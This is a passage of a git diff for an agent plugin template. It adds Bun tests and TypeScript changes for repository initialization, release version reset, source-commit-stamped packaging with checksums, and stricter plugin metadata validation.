cwd: temporaryRoot, + stdout: "pipe", + stderr: "pipe", + }) + + expect(result.exitCode, result.stderr.toString()).toBe(0) + const config = JSON.parse(readFileSync(join(temporaryRoot, "plugin.config.json"), "utf8")) + expect(config.canary).toEqual({ + owner: "myagentdojo-org", + actor: "dojo-release-bot", + publicRepository: "dojo-hello-public-canary", + privateRepository: "dojo-hello-private-canary", + }) +}) + +test("mixed-case github.com derives canaries from the supplied repository", () => { + const temporaryRoot = copyTemplate("agent-plugin-template-mixed-github-") + const result = Bun.spawnSync({ + cmd: [ + process.execPath, + "run", + "init", + "--", + "--name", + "dojo-hello", + "--repository", + "https://GitHub.COM/another-owner/another-repository", + "--force", + "--json", + ], + cwd: temporaryRoot, + stdout: "pipe", + stderr: "pipe", + }) + + expect(result.exitCode, result.stderr.toString()).toBe(0) + const config = JSON.parse(readFileSync(join(temporaryRoot, "plugin.config.json"), "utf8")) + expect(config.canary).toEqual({ + owner: "another-owner", + actor: "another-owner", + publicRepository: "another-repository-public-canary", + privateRepository: "another-repository-private-canary", + }) +}) + +test("init help discovers the canary actor identity override", () => { + const result = Bun.spawnSync({ + cmd: [process.execPath, "run", "init", "--", "--help"], + cwd: root, + stdout: "pipe", + stderr: "pipe", + }) + + expect(result.exitCode, result.stderr.toString()).toBe(0) + expect(result.stdout.toString()).toContain("--canary-actor ") +}) + +test("initialization resets recipient release lineage to 0.1.0", () => { + const temporaryRoot = createReleasedTemplate("agent-plugin-template-release-reset-") + const result = initializeTemplate(temporaryRoot, ["--json"]) + + expect(result.exitCode, result.stderr.toString()).toBe(0) + const output = JSON.parse(result.stdout.toString().trim()) + expect(output).toMatchObject({ + ok: true, + action: "initialized", + plugin: { name: "dojo-hello", version: "0.1.0" }, + }) + expect(output.files).toEqual(expect.arrayContaining(resetPaths)) + + const config = JSON.parse(readFileSync(join(temporaryRoot, "plugin.config.json"), "utf8")) + expect(config.version).toBe("0.1.0") + const packageJson = JSON.parse(readFileSync(join(temporaryRoot, "package.json"), "utf8")) + expect(packageJson.version).toBe("0.1.0") + const claudeManifest = JSON.parse( + readFileSync(join(temporaryRoot, "plugin", ".claude-plugin", "plugin.json"), "utf8"), + ) + const codexManifest = JSON.parse( + readFileSync(join(temporaryRoot, "plugin", ".codex-plugin", "plugin.json"), "utf8"), + ) + const claudeMarketplace = JSON.parse( + readFileSync(join(temporaryRoot, ".claude-plugin", "marketplace.json"), "utf8"), + ) + expect(claudeManifest.version).toBe("0.1.0") + expect(codexManifest.version).toBe("0.1.0") + expect(claudeMarketplace.metadata.version).toBe("0.1.0") + + const runtime = readFileSync(join(temporaryRoot, "plugin", "runtime", "hello-world.js"), "utf8") + expect(runtime).toContain('// x-release-please-start-version\nconst PLUGIN_VERSION = "0.1.0";\n// x-release-please-end') + expect( + JSON.parse(readFileSync(join(temporaryRoot, ".github", ".release-please-manifest.json"), "utf8")), + ).toEqual({}) + expect(readFileSync(join(temporaryRoot, "CHANGELOG.md"), "utf8")).toBe("") + const releaseConfig = JSON.parse( + readFileSync(join(temporaryRoot, ".github", "release-please-config.json"), "utf8"), + ) + expect(releaseConfig.packages["."]["package-name"]).toBe("dojo-hello") + + const codexHooks = JSON.parse( + readFileSync(join(temporaryRoot, "plugin", "hooks", "codex", "hooks.json"), "utf8"), + ) + for (const event of ["SessionStart", "Stop"]) { + expect(codexHooks.hooks[event][0].hooks[0].command).toContain("--plugin-version 0.1.0") + } +}) + +test("reinitialization without force preserves recipient release files", () => { + const temporaryRoot = createReleasedTemplate("agent-plugin-template-release-refusal-") + const initialized = initializeTemplate(temporaryRoot) + expect(initialized.exitCode, initialized.stderr.toString()).toBe(0) + const before = readResetTargets(temporaryRoot) + + const refused = Bun.spawnSync({ + cmd: [process.execPath, "run", "init", "--", "--name", "replacement-name", "--json"], + cwd: temporaryRoot, + stdout: "pipe", + stderr: "pipe", + }) + + expect(refused.exitCode).toBe(2) + expect(JSON.parse(refused.stdout.toString().trim())).toMatchObject({ + ok: false, + category: "usage", + message: "repository is already initialized; pass --force to replace its metadata", + retrySafe: true, + }) + expect(readResetTargets(temporaryRoot)).toEqual(before) +}) + +test("dry run reports release reset without changing files", () => { + const temporaryRoot = createReleasedTemplate("agent-plugin-template-release-preview-") + const before = readResetTargets(temporaryRoot) + const result = initializeTemplate(temporaryRoot, ["--dry-run", "--json"]) + + expect(result.exitCode, result.stderr.toString()).toBe(0) + const output = JSON.parse(result.stdout.toString().trim()) + expect(output).toMatchObject({ + ok: true, + action: "preview", + sideEffects: "none", + plugin: { name: "dojo-hello", version: "0.1.0" }, + }) + expect(output.files).toEqual(expect.arrayContaining(resetPaths)) + expect(readResetTargets(temporaryRoot)).toEqual(before) +}) + +test.each([ + { + case: "unreadable release config", + path: ".github/release-please-config.json", + mutate: (temporaryRoot: string) => + rmSync(join(temporaryRoot, ".github", "release-please-config.json")), + expected: "cannot read release reset file .github/release-please-config.json", + }, + { + case: "malformed release config", + path: ".github/release-please-config.json", + mutate: (temporaryRoot: string) => + writeFileSync(join(temporaryRoot, ".github", "release-please-config.json"), "{\n"), + expected: "release reset file .github/release-please-config.json is not valid JSON", + }, + { + case: "missing runtime version markers", + path: "plugin/runtime/hello-world.js", + mutate: (temporaryRoot: string) => { + const path = join(temporaryRoot, "plugin", "runtime", "hello-world.js") + writeFileSync( + path, + readFileSync(path, "utf8").replace("// x-release-please-start-version", "// missing"), + ) + }, + expected: "plugin/runtime/hello-world.js is missing release version markers", + }, +] as const)("$case returns structured failure naming $path before writes", ({ mutate, expected }) => { + const temporaryRoot = copyTemplate("agent-plugin-template-reset-failure-") + const configPath = join(temporaryRoot, "plugin.config.json") + const manifestPath = join(temporaryRoot, "plugin", ".codex-plugin", "plugin.json") + const configBefore = readFileSync(configPath) + const manifestBefore = readFileSync(manifestPath) + mutate(temporaryRoot) + + const result = initializeTemplate(temporaryRoot, ["--json"]) + + expect(result.exitCode).toBe(2) + expect(JSON.parse(result.stdout.toString().trim())).toMatchObject({ + ok: false, + category: "usage", + message: expected, + retrySafe: true, + }) + expect(readFileSync(configPath)).toEqual(configBefore) + expect(readFileSync(manifestPath)).toEqual(manifestBefore) +}) + test("generated manifest check detects drift from canonical metadata", () => { const temporaryRoot = copyTemplate("agent-plugin-template-drift-") @@ -131,6 +484,70 @@ test("generated manifest check detects drift from canonical metadata", () => { expect(result.stderr.toString()).toContain("bun run generate") }) +test("non-GitHub repository is rejected instead of silently retaining template canaries", () => { + const temporaryRoot = copyTemplate("agent-plugin-template-invalid-metadata-") + const before = readResetTargets(temporaryRoot) + const result = Bun.spawnSync({ + cmd: [ + process.execPath, + "run", + "init", + "--", + "--name", + "dojo-hello", + "--repository", + "https://gitlab.com/myagentdojo/dojo-hello", + "--force", + "--json", + ], + cwd: temporaryRoot, + stdout: "pipe", + stderr: "pipe", + }) + + expect(result.exitCode).toBe(2) + expect(JSON.parse(result.stdout.toString().trim())).toMatchObject({ + ok: false, + category: "usage", + message: "--repository must be a canonical GitHub HTTPS repository", + retrySafe: true, + }) + expect(readResetTargets(temporaryRoot)).toEqual(before) +}) + +test.each([ + ["supplied", "dojo-hello", ["--display-name", "x".repeat(31)]], + ["derived", "very-long-plugin-name-with-over-thirty-chars", []], +] as const)("invalid %s display name returns structured usage without writes", (_source, name, options) => { + const temporaryRoot = copyTemplate("agent-plugin-template-invalid-display-name-") + const before = readResetTargets(temporaryRoot) + const result = Bun.spawnSync({ + cmd: [ + process.execPath, + "run", + "init", + "--", + "--name", + name, + "--force", + "--json", + ...options, + ], + cwd: temporaryRoot, + stdout: "pipe", + stderr: "pipe", + }) + + expect(result.exitCode).toBe(2) + expect(JSON.parse(result.stdout.toString().trim())).toMatchObject({ + ok: false, + category: "usage", + message: "--display-name must be non-empty, single-line text of at most 30 characters", + retrySafe: true, + }) + expect(readResetTargets(temporaryRoot)).toEqual(before) +}) + test("test fixtures can reinitialize a customized recipient", () => { const temporaryRoot = copyTemplate("agent-plugin-template-recipient-") const customized = Bun.spawnSync({ @@ -161,20 +578,98 @@ test("initialized repository packages the configured plugin identity", () => { const temporaryRoot = copyTemplate("agent-plugin-template-package-") const init = initializeTemplate(temporaryRoot) expect(init.exitCode, init.stderr.toString()).toBe(0) + const sourceCommit = commitPackageCheckout(temporaryRoot) const packaged = Bun.spawnSync({ cmd: ["bun", "run", "package"], cwd: temporaryRoot, + env: { ...process.env, SOURCE_COMMIT: sourceCommit, GITHUB_SHA: undefined }, stdout: "pipe", stderr: "pipe", }) expect(packaged.exitCode, packaged.stderr.toString()).toBe(0) const result = JSON.parse(packaged.stdout.toString().trim().split("\n").at(-1) ?? "") - expect(basename(result.archive)).toBe(`dojo-hello-${templateVersion}.tar.gz`) - const provenance = JSON.parse(readFileSync(result.provenance, "utf8")) - expect(provenance).toMatchObject({ plugin: "dojo-hello", version: templateVersion }) + expect(basename(result.archive)).toBe(`dojo-hello-${initialVersion}.tar.gz`) + expect(basename(result.checksums)).toBe(`dojo-hello-${initialVersion}.checksums.json`) + const checksums = JSON.parse(readFileSync(result.checksums, "utf8")) + expect(checksums).toMatchObject({ + repository: "https://github.com/myagentdojo/dojo-hello", + sourceCommit, + tag: `v${initialVersion}`, + plugin: "dojo-hello", + version: initialVersion, + archive: `dojo-hello-${initialVersion}.tar.gz`, + archiveBytes: expect.any(Number), + archiveSha256: expect.stringMatching(/^[a-f0-9]{64}$/), + evidence: + "Checksum metadata is integrity evidence for these archive bytes, not independent publisher or builder authenticity.", + }) }) +test("package accepts an explicit source commit when Git metadata is unavailable", () => { + const temporaryRoot = copyTemplate("agent-plugin-template-package-no-git-") + const init = initializeTemplate(temporaryRoot) + expect(init.exitCode, init.stderr.toString()).toBe(0) + const sourceCommit = "a".repeat(40) + const result = successfulPackageWithSource(temporaryRoot, "SOURCE_COMMIT", sourceCommit) + const checksums = JSON.parse(readFileSync(result.checksums, "utf8")) + expect(checksums.sourceCommit).toBe(sourceCommit) +}) + +test("package preserves filenames containing newlines and backslashes", () => { + const temporaryRoot = copyTemplate("agent-plugin-template-package-filenames-") + const init = initializeTemplate(temporaryRoot) + expect(init.exitCode, init.stderr.toString()).toBe(0) + const unusualName = "line\nbreak\\slash.txt" + const unusualPath = join(temporaryRoot, "plugin", "runtime", unusualName) + writeFileSync(unusualPath, "unusual filename payload\n") + const sourceCommit = commitPackageCheckout(temporaryRoot) + const result = successfulPackageWithSource(temporaryRoot, "SOURCE_COMMIT", sourceCommit) + const extractRoot = mkdtempSync(join(tmpdir(), "agent-plugin-template-package-extract-")) + try { + const extracted = Bun.spawnSync({ + cmd: ["tar", "-xzf", result.archive, "-C", extractRoot], + stdout: "pipe", + stderr: "pipe", + }) + expect(extracted.exitCode, extracted.stderr.toString()).toBe(0) + const archivedPath = join(extractRoot, `dojo-hello-${initialVersion}`, "runtime", unusualName) + expect(existsSync(archivedPath)).toBe(true) + expect(readFileSync(archivedPath, "utf8")).toBe("unusual filename payload\n") + } finally { + rmSync(extractRoot, { recursive: true, force: true }) + } +}) + +test.each(["SOURCE_COMMIT", "GITHUB_SHA"] as const)( + "package rejects an invalid explicit %s", + (sourceVariable) => { + const temporaryRoot = copyTemplate("agent-plugin-template-package-source-") + const init = initializeTemplate(temporaryRoot) + expect(init.exitCode, init.stderr.toString()).toBe(0) + + const packaged = packageWithSource(temporaryRoot, sourceVariable, "A".repeat(40)) + expect(packaged.exitCode).not.toBe(0) + expect(packaged.stderr.toString()).toContain( + `${sourceVariable} must be exactly 40 lowercase hexadecimal characters`, + ) + }, +) + +test.each(["SOURCE_COMMIT", "GITHUB_SHA"] as const)( + "package rejects %s when it differs from Git HEAD", + (sourceVariable) => { + const temporaryRoot = copyTemplate("agent-plugin-template-package-mismatch-") + const init = initializeTemplate(temporaryRoot) + expect(init.exitCode, init.stderr.toString()).toBe(0) + const gitHead = commitPackageCheckout(temporaryRoot) + const mismatchedCommit = gitHead === "b".repeat(40) ? "c".repeat(40) : "b".repeat(40) + const packaged = packageWithSource(temporaryRoot, sourceVariable, mismatchedCommit) + expect(packaged.exitCode).not.toBe(0) + expect(packaged.stderr.toString()).toContain(`${sourceVariable} does not match git HEAD`) + }, +) + test("initialized repository development plan uses configured plugin identity", () => { const temporaryRoot = copyTemplate("agent-plugin-template-dev-") const init = initializeTemplate(temporaryRoot) diff --git a/scripts/init.ts b/scripts/init.ts index 23384aa..53c606d 100644 --- a/scripts/init.ts +++ b/scripts/init.ts @@ -5,6 +5,7 @@ import { type PluginConfig, loadPluginConfig, renderGeneratedFiles, writeGenerat const root = resolve(import.meta.dir, "..") const runId = crypto.randomUUID() +const initialVersion = "0.1.0" const help = `Initialize an agent plugin repository from the template metadata. Usage: @@ -17,7 +18,8 @@ Options: --display-name Human-readable name; derived from --name by default --description Shared plugin description --author Publisher name - --repository Absolute HTTPS source repository + --repository Canonical GitHub HTTPS source repository + --canary-actor GitHub user whose credentials publish canaries (default: repository owner) --dry-run Preview metadata and generated files without writes --force Reinitialize an already initialized repository --json Emit one JSON result on stdout @@ -27,7 +29,7 @@ Examples: bun run init -- --name dojo-hello --display-name "Dojo Hello" --author "My Agent Dojo" --repository https://github.com/myagentdojo/dojo-hello bun run init -- --name private-dojo --repository https://github.com/myagentdojo/private-dojo --dry-run --json -Side effects: writes plugin.config.json and four generated manifest files. +Side effects: writes plugin metadata, generated files, and reset release state. ` interface Options { @@ -36,6 +38,7 @@ interface Options { description?: string author?: string repository?: string + canaryActor?: string dryRun: boolean force: boolean json: boolean @@ -79,6 +82,7 @@ function parseOptions(arguments_: string[]): Options | null { "--description", "--author", "--repository", + "--canary-actor", "--dry-run", "--force", "--json", @@ -96,6 +100,7 @@ function parseOptions(arguments_: string[]): Options | null { description: optionValue(arguments_, "--description"), author: optionValue(arguments_, "--author"), repository: optionValue(arguments_, "--repository"), + canaryActor: optionValue(arguments_, "--canary-actor"), dryRun: arguments_.includes("--dry-run"), force: arguments_.includes("--force"), json: arguments_.includes("--json"), @@ -109,12 +114,64 @@ function displayName(name: string): string { .join(" ") } +function validateDisplayName(value: string): string { + if (!value.trim() || value.length > 30 || /[\u0000-\u001F\u007F]/.test(value)) { + fail("--display-name must be non-empty, single-line text of at most 30 characters") + } + return value +} + function githubRepository(url: string): { owner: string; repository: string } | undefined { - const match = /^https:\/\/github\.com\/([^/]+)\/([^/]+?)(?:\.git)?$/.exec(url) + const match = /^https:\/\/github\.com\/([^/]+)\/([^/]+?)(?:\.git)?$/i.exec(url) if (!match) return undefined return { owner: match[1], repository: match[2] } } +function readResetFile(repositoryRoot: string, path: string): string { + try { + return readFileSync(resolve(repositoryRoot, path), "utf8") + } catch { + fail(`cannot read release reset file ${path}`) + } +} + +function parseResetJson(repositoryRoot: string, path: string): Record { + try { + return JSON.parse(readResetFile(repositoryRoot, path)) + } catch (error) { + if (error instanceof SyntaxError) fail(`release reset file ${path} is not valid JSON`) + throw error + } +} + +function releaseResetFiles(root: string, name: string): Array<{ path: string; contents: string }> { + const releaseConfig = parseResetJson(root, ".github/release-please-config.json") + releaseConfig.packages["."]["package-name"] = name + const packageJson = parseResetJson(root, "package.json") + packageJson.version = initialVersion + + const runtimePath = "plugin/runtime/hello-world.js" + const runtime = readResetFile(root, runtimePath) + const startMarker = "// x-release-please-start-version" + const endMarker = "// x-release-please-end" + const start = runtime.indexOf(startMarker) + const end = runtime.indexOf(endMarker, start + startMarker.length) + if (start === -1 || end === -1) fail(`${runtimePath} is missing release version markers`) + const versionBlock = `${startMarker}\nconst PLUGIN_VERSION = ${JSON.stringify(initialVersion)};\n${endMarker}` + const resetRuntime = `${runtime.slice(0, start)}${versionBlock}${runtime.slice(end + endMarker.length)}` + + return [ + { + path: ".github/release-please-config.json", + contents: `${JSON.stringify(releaseConfig, null, 2)}\n`, + }, + { path: "package.json", contents: `${JSON.stringify(packageJson, null, 2)}\n` }, + { path: ".github/.release-please-manifest.json", contents: "{}\n" }, + { path: "CHANGELOG.md", contents: "" }, + { path: runtimePath, contents: resetRuntime }, + ] +} + const options = parseOptions(process.argv.slice(2)) if (!options) process.exit(0) @@ -123,26 +180,32 @@ if (!current.template && !options.force) fail("repository is already initialized const repository = options.repository ?? current.repository const github = githubRepository(repository) +if (!github) fail("--repository must be a canonical GitHub HTTPS repository") +const configuredDisplayName = validateDisplayName( + options.displayName ?? displayName(options.name), +) const config: PluginConfig = { ...current, template: false, name: options.name, - displayName: options.displayName ?? displayName(options.name), + displayName: configuredDisplayName, + version: initialVersion, description: options.description ?? current.description, author: { name: options.author ?? current.author.name }, repository, - canary: github - ? { - owner: github.owner, - publicRepository: `${github.repository}-public-canary`, - privateRepository: `${github.repository}-private-canary`, - } - : current.canary, + canary: { + owner: github.owner, + actor: options.canaryActor ?? github.owner, + publicRepository: `${github.repository}-public-canary`, + privateRepository: `${github.repository}-private-canary`, + }, } -const files = renderGeneratedFiles(config) +const generatedFiles = renderGeneratedFiles(config) +const resetFiles = releaseResetFiles(root, config.name) if (!options.dryRun) { writeFileSync(resolve(root, "plugin.config.json"), `${JSON.stringify(config, null, 2)}\n`) writeGeneratedFiles(root, config) + for (const file of resetFiles) writeFileSync(resolve(root, file.path), file.contents) } const result = { @@ -151,7 +214,11 @@ const result = { runId, sideEffects: options.dryRun ? "none" : "repository-files-written", plugin: { name: config.name, version: config.version }, - files: ["plugin.config.json", ...files.map((file) => file.path)], + files: [ + "plugin.config.json", + ...generatedFiles.map((file) => file.path), + ...resetFiles.map((file) => file.path), + ], nextAction: options.dryRun ? "rerun without --dry-run" : "bun run prove:all", } if (options.json) console.log(JSON.stringify(result)) diff --git a/scripts/package.ts b/scripts/package.ts index 1da1dc7..5b2c1a0 100644 --- a/scripts/package.ts +++ b/scripts/package.ts @@ -1,7 +1,7 @@ import { + chmodSync, mkdirSync, mkdtempSync, - readdirSync, readFileSync, rmSync, statSync, @@ -11,7 +11,7 @@ import { import { tmpdir } from "node:os" import { join, resolve } from "node:path" -import { copyPluginPayload } from "./plugin-files" +import { copyPluginPayload, directoryArchiveEntries } from "./plugin-files" import { loadPluginConfig } from "./plugin-config" const root = resolve(import.meta.dir, "..") @@ -22,30 +22,58 @@ const packageName = `${pluginConfig.name}-${version}` const stagingRoot = mkdtempSync(join(tmpdir(), "plugin-package-")) const packageRoot = join(stagingRoot, packageName) -function archiveEntries(directory: string, prefix: string): string[] { - const entries = [prefix] - for (const entry of readdirSync(directory, { withFileTypes: true }).sort((left, right) => - left.name.localeCompare(right.name), - )) { - const relativePath = `${prefix}/${entry.name}` - entries.push(relativePath) - if (entry.isDirectory()) { - entries.push(...archiveEntries(join(directory, entry.name), relativePath).slice(1)) +function resolveSourceCommit(): string { + const sourceCommit = process.env.SOURCE_COMMIT + const githubSha = process.env.GITHUB_SHA + const configuredSource = + sourceCommit !== undefined + ? { name: "SOURCE_COMMIT", value: sourceCommit } + : githubSha !== undefined + ? { name: "GITHUB_SHA", value: githubSha } + : undefined + const configuredCommit = configuredSource + ? validateSourceCommit(configuredSource.value, configuredSource.name) + : undefined + const git = Bun.spawnSync({ + cmd: ["git", "rev-parse", "HEAD"], + cwd: root, + stdout: "pipe", + stderr: "pipe", + }) + if (git.exitCode === 0) { + const gitHead = validateSourceCommit(git.stdout.toString().trim(), "git HEAD") + if (configuredCommit && configuredCommit !== gitHead) { + throw new Error(`${configuredSource?.name} does not match git HEAD`) } + return gitHead + } + if (configuredCommit) return configuredCommit + throw new Error("Unable to resolve the package source commit from git or an explicit input") +} + +function validateSourceCommit(value: string, source: string): string { + if (!/^[0-9a-f]{40}$/.test(value)) { + throw new Error(`${source} must be exactly 40 lowercase hexadecimal characters`) } - return entries + return value } try { + const sourceCommit = resolveSourceCommit() mkdirSync(outputRoot, { recursive: true }) copyPluginPayload(root, packageRoot) - const entries = archiveEntries(packageRoot, packageName) + const entries = directoryArchiveEntries(packageRoot, packageName) const epoch = new Date(0) - for (const relativePath of entries) utimesSync(join(stagingRoot, relativePath), epoch, epoch) + for (const relativePath of entries) { + const absolutePath = join(stagingRoot, relativePath) + const status = statSync(absolutePath) + chmodSync(absolutePath, status.isDirectory() ? 0o755 : status.mode & 0o111 ? 0o755 : 0o644) + utimesSync(absolutePath, epoch, epoch) + } - const fileList = join(stagingRoot, "entries.txt") - writeFileSync(fileList, `${entries.join("\n")}\n`) + const fileList = join(stagingRoot, "entries.bin") + writeFileSync(fileList, Buffer.from(`${entries.join("\0")}\0`)) const uncompressedArchive = join(stagingRoot, `${packageName}.tar`) const tarArguments = process.platform === "darwin" @@ -68,6 +96,7 @@ try { "--no-fflags", "--no-mac-metadata", "--no-recursion", + "--null", "-C", stagingRoot, "-T", @@ -85,6 +114,7 @@ try { "--no-selinux", "--format=ustar", "--no-recursion", + "--null", "-cf", uncompressedArchive, "-C", @@ -108,22 +138,27 @@ try { const archiveDigest = new Bun.CryptoHasher("sha256") .update(readFileSync(archive)) .digest("hex") - const provenance = join(outputRoot, `${packageName}.provenance.json`) + const checksums = join(outputRoot, `${packageName}.checksums.json`) writeFileSync( - provenance, + checksums, `${JSON.stringify( { + repository: pluginConfig.repository, + sourceCommit, + tag: `v${version}`, plugin: pluginConfig.name, version, archive: `${packageName}.tar.gz`, archiveBytes, archiveSha256: archiveDigest, + evidence: + "Checksum metadata is integrity evidence for these archive bytes, not independent publisher or builder authenticity.", }, null, 2, )}\n`, ) - console.log(JSON.stringify({ archive, provenance, archiveBytes, archiveDigest })) + console.log(JSON.stringify({ archive, checksums, archiveBytes, archiveDigest })) } finally { rmSync(stagingRoot, { recursive: true, force: true }) } diff --git a/scripts/plugin-config.ts b/scripts/plugin-config.ts index 03a805b..e7235b3 100644 --- a/scripts/plugin-config.ts +++ b/scripts/plugin-config.ts @@ -33,8 +33,10 @@ export interface PluginConfig { defaultPrompts: string[] /** Public and private repositories used for hosted distribution proof. */ canary: { - /** GitHub account that must match the active CLI identity. */ + /** GitHub account or organization that owns the canary repositories. */ owner: string + /** GitHub user whose CLI and transport credentials authorize canary writes. */ + actor: string /** Public repository name under owner. */ publicRepository: string /** Private repository name under owner. */ @@ -50,28 +52,272 @@ export interface GeneratedFile { contents: string } +/** Directory text checks plus an explicit boundary around deferred publication work. */ +export interface DirectoryReadinessReport { + /** Named subset evaluated by this report. */ + profile: "directory-readiness text subset" + /** Whether every text limit in the subset passed. */ + ok: boolean + /** Human-readable failures owned by the subset. */ + errors: string[] + /** Public-directory work deliberately outside this metadata check. */ + notEvaluated: string[] +} + +/** Claude Code compatibility boundary for disabled-on-install behavior. */ +export const CLAUDE_DISABLED_BY_DEFAULT_COMPATIBILITY = { + minimumVersion: "2.1.154", + warning: "Earlier Claude Code clients ignore defaultEnabled and may enable plugins on install.", +} as const + +const packageContractProfile = "required local/repo git-marketplace package contract" +const directoryReadinessProfile = "directory-readiness text subset" as const +const directoryReadinessNotEvaluated = [ + "public ZIP", + "assets", + "identity", + "portal review", + "approval", + "publication", +] +const strictSemver = + /^(0|[1-9]\d*)\.(0|[1-9]\d*)\.(0|[1-9]\d*)(?:-(?:(?:0|[1-9]\d*)|(?:\d*[A-Za-z-][0-9A-Za-z-]*))(?:\.(?:(?:0|[1-9]\d*)|(?:\d*[A-Za-z-][0-9A-Za-z-]*)))*)?(?:\+[0-9A-Za-z-]+(?:\.[0-9A-Za-z-]+)*)?$/ +const unsupportedSingleLineCharacters = /[\u0000-\u001F\u007F]/ +const unsupportedLongDescriptionCharacters = /[\u0000-\u0008\u000B\u000C\u000E-\u001F\u007F]/ +const unsupportedUrlCharacters = /[^\u0021-\u007E]|["<>\\^`{|}]/ +const codexCategories = new Set([ + "Productivity", + "Creativity", + "Developer Tools", + "Business & Operations", + "Data & Analytics", + "Communication", + "Education & Research", + "Security", + "Finance", + "Healthcare", + "Travel", + "Entertainment", + "Other", +]) + function serialize(value: unknown): string { return `${JSON.stringify(value, null, 2)}\n` } -function validateConfig(config: PluginConfig): void { - if (!/^[a-z0-9]+(?:-[a-z0-9]+)*$/.test(config.name) || config.name.length > 64) { - throw new Error("plugin name must be kebab-case and at most 64 characters") +function packageContractError(message: string): Error { + return new Error(`${packageContractProfile}: ${message}`) +} + +function normalizedText(value: string): string { + return value.trim().replace(/\s+/g, " ") +} + +function hasNormalizedDuplicates(values: string[], caseInsensitive = false): boolean { + const normalized = values.map((value) => { + const text = normalizedText(value) + return caseInsensitive ? text.toLocaleLowerCase("en-US") : text + }) + return new Set(normalized).size !== normalized.length +} + +function isSupportedSingleLine(value: unknown): value is string { + return ( + typeof value === "string" && + Boolean(value.trim()) && + !unsupportedSingleLineCharacters.test(value) + ) +} + +function validateRepository(repository: unknown): void { + if ( + typeof repository !== "string" || + repository.length > 2_048 || + unsupportedUrlCharacters.test(repository) || + /%(?![0-9A-Fa-f]{2})/.test(repository) + ) { + throw packageContractError( + "repository must be an absolute HTTPS URL with supported characters and at most 2048 characters", + ) + } + + let parsed: URL + try { + parsed = new URL(repository) + } catch { + throw packageContractError("repository must be an absolute HTTPS URL with a host") + } + if (parsed.protocol !== "https:" || !parsed.host) { + throw packageContractError("repository must be an absolute HTTPS URL with a host") + } + if (parsed.username || parsed.password) { + throw packageContractError("repository must not contain embedded credentials") + } + if ( + parsed.hostname.toLowerCase() !== "github.com" || + parsed.port || + parsed.search || + parsed.hash || + !/^\/[A-Za-z0-9_.-]+\/[A-Za-z0-9_.-]+(?:\.git)?$/.test(parsed.pathname) + ) { + throw packageContractError( + "repository must be a canonical GitHub HTTPS repository URL without a port, query, or fragment", + ) + } +} + +/** + * Validate metadata required for local and repository Git marketplace packages. + * + * @param config - Canonical metadata projected into native manifests + * @throws {Error} When a generated package field violates the required contract + * + * @example + * ```typescript + * validatePackageContract(config) + * ``` + */ +export function validatePackageContract(config: PluginConfig): void { + if ( + typeof config.name !== "string" || + !/^[a-z0-9]+(?:-[a-z0-9]+)*$/.test(config.name) || + config.name.length > 64 + ) { + throw packageContractError("plugin name must be kebab-case and at most 64 characters") + } + if (typeof config.version !== "string" || config.version.length > 64) { + throw packageContractError( + "plugin version must use semantic versioning and be at most 64 characters", + ) + } + if (!strictSemver.test(config.version)) { + throw packageContractError("plugin version must use semantic versioning") + } + if ( + !isSupportedSingleLine(config.displayName) || + !isSupportedSingleLine(config.description) || + !isSupportedSingleLine(config.author?.name) + ) { + throw packageContractError("displayName, description, and author.name are required single-line text") } - if (!/^\d+\.\d+\.\d+(?:-[0-9A-Za-z.-]+)?(?:\+[0-9A-Za-z.-]+)?$/.test(config.version)) { - throw new Error("plugin version must use semantic versioning") + if (config.description.length > 1_024) { + throw packageContractError("description must be at most 1024 characters") } - if (!config.displayName.trim() || !config.description.trim() || !config.author.name.trim()) { - throw new Error("displayName, description, and author.name are required") + if (!isSupportedSingleLine(config.shortDescription)) { + throw packageContractError("shortDescription must be one non-empty line of supported text") } - if (!config.repository.startsWith("https://")) { - throw new Error("repository must be an absolute HTTPS URL") + if ( + typeof config.longDescription !== "string" || + !config.longDescription.trim() || + config.longDescription.length > 1_024 || + unsupportedLongDescriptionCharacters.test(config.longDescription) + ) { + throw packageContractError( + "longDescription must be non-empty supported text of at most 1024 characters", + ) } - if (!/^[A-Za-z0-9](?:[A-Za-z0-9-]{0,38})$/.test(config.canary.owner)) { - throw new Error("canary.owner must be a GitHub account name") + if (!codexCategories.has(config.category)) { + throw packageContractError("category must be a supported Codex directory category") } - if (config.defaultPrompts.length > 3 || config.defaultPrompts.some((prompt) => prompt.length > 128)) { - throw new Error("defaultPrompts accepts at most three entries of at most 128 characters") + if ( + !Array.isArray(config.capabilities) || + config.capabilities.length > 20 || + config.capabilities.some( + (capability) => !isSupportedSingleLine(capability) || capability.length > 120, + ) || + hasNormalizedDuplicates(config.capabilities, true) + ) { + throw packageContractError( + "capabilities accepts at most 20 unique, non-empty, single-line entries of at most 120 characters", + ) + } + validateRepository(config.repository) + if (!isSupportedSingleLine(config.license) || !/^[A-Za-z0-9][A-Za-z0-9.+-]{0,63}$/.test(config.license)) { + throw packageContractError("license must be a supported SPDX identifier of at most 64 characters") + } + if ( + !Array.isArray(config.keywords) || + config.keywords.length > 20 || + config.keywords.some( + (keyword) => + !isSupportedSingleLine(keyword) || + keyword.length > 64 || + !/^[A-Za-z0-9][A-Za-z0-9 ._+-]*$/.test(keyword), + ) || + hasNormalizedDuplicates(config.keywords, true) + ) { + throw packageContractError( + "keywords accepts at most 20 unique, supported, single-line entries of at most 64 characters", + ) + } + if ( + typeof config.canary?.owner !== "string" || + !/^[A-Za-z0-9](?:[A-Za-z0-9-]{0,38})$/.test(config.canary.owner) + ) { + throw packageContractError("canary.owner must be a GitHub account name") + } + if ( + typeof config.canary?.actor !== "string" || + !/^[A-Za-z0-9](?:[A-Za-z0-9-]{0,38})$/.test(config.canary.actor) + ) { + throw packageContractError("canary.actor must be a GitHub user name") + } + if ( + !Array.isArray(config.defaultPrompts) || + config.defaultPrompts.length > 3 || + config.defaultPrompts.some( + (prompt) => !isSupportedSingleLine(prompt) || prompt.trimStart().startsWith("@"), + ) || + hasNormalizedDuplicates(config.defaultPrompts) + ) { + throw packageContractError( + "defaultPrompts accepts at most three unique, non-empty, single-line entries that do not start with @mentions", + ) + } +} + +/** + * Report the stricter Codex directory text subset without claiming public submission readiness. + * + * @param config - Canonical metadata whose directory text limits are checked + * @returns Text-limit results plus the public-directory work not evaluated + * + * @example + * ```typescript + * const report = checkDirectoryReadiness(config) + * if (!report.ok) console.error(report.errors) + * ``` + */ +export function checkDirectoryReadiness(config: PluginConfig): DirectoryReadinessReport { + const errors: string[] = [] + if (typeof config.displayName !== "string" || config.displayName.length > 30) { + errors.push("displayName must be at most 30 characters") + } + if (typeof config.author?.name !== "string" || config.author.name.length > 80) { + errors.push("author.name must be at most 80 characters") + } + if (typeof config.shortDescription !== "string" || 